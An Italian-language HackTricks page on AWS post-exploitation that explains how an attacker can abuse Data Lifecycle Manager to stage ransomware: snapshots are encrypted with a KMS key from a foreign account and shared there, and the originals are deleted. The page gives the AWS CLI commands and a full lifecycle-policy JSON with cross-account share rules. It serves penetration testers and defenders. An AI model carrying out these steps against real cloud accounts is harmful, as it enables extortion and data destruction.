AWS - DLM Post Exploitation

Support HackTricks

Data Lifecycle Manger (DLM)

EC2:DescribeVolumes, DLM:CreateLifeCyclePolicy

Un attacco ransomware può essere eseguito crittografando il maggior numero possibile di volumi EBS e poi cancellando le attuali istanze EC2, volumi EBS e snapshot. Per automatizzare questa attività malevola, si può utilizzare Amazon DLM, crittografando gli snapshot con una chiave KMS di un altro account AWS e trasferendo gli snapshot crittografati a un account diverso. In alternativa, potrebbero trasferire snapshot senza crittografia a un account che gestiscono e poi crittografarli lì. Anche se non è semplice crittografare direttamente i volumi EBS o gli snapshot esistenti, è possibile farlo creando un nuovo volume o snapshot.

Innanzitutto, si utilizzerà un comando per raccogliere informazioni sui volumi, come ID istanza, ID volume, stato di crittografia, stato di attacco e tipo di volume.

aws ec2 describe-volumes

In secondo luogo, si creerà la policy di ciclo di vita. Questo comando utilizza l'API DLM per impostare una policy di ciclo di vita che prende automaticamente snapshot giornalieri dei volumi specificati a un orario designato. Applica anche tag specifici agli snapshot e copia i tag dai volumi agli snapshot. Il file policyDetails.json include i dettagli della policy di ciclo di vita, come i tag target, il programma, l'ARN della chiave KMS opzionale per la crittografia e l'account target per la condivisione degli snapshot, che saranno registrati nei log di CloudTrail della vittima.

aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json

Un modello per il documento della policy può essere visto qui:

{
"PolicyType": "EBS_SNAPSHOT_MANAGEMENT",
"ResourceTypes": [
"VOLUME"
],
"TargetTags": [
{
"Key": "ExampleKey",
"Value": "ExampleValue"
}
],
"Schedules": [
{
"Name": "DailySnapshots",
"CopyTags": true,
"TagsToAdd": [
{
"Key": "SnapshotCreator",
"Value": "DLM"
}
],
"VariableTags": [
{
"Key": "CostCenter",
"Value": "Finance"
}
],
"CreateRule": {
"Interval": 24,
"IntervalUnit": "HOURS",
"Times": [
"03:00"
]
},
"RetainRule": {
"Count": 14
},
"FastRestoreRule": {
"Count": 2,
"Interval": 12,
"IntervalUnit": "HOURS"
},
"CrossRegionCopyRules": [
{
"TargetRegion": "us-west-2",
"Encrypted": true,
"CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id",
"CopyTags": true,
"RetainRule": {
"Interval": 1,
"IntervalUnit": "DAYS"
}
}
],
"ShareRules": [
{
"TargetAccounts": [
"123456789012"
],
"UnshareInterval": 30,
"UnshareIntervalUnit": "DAYS"
}
]
}
],
"Parameters": {
"ExcludeBootVolume": false
}
}
Supporta HackTricks

Last updated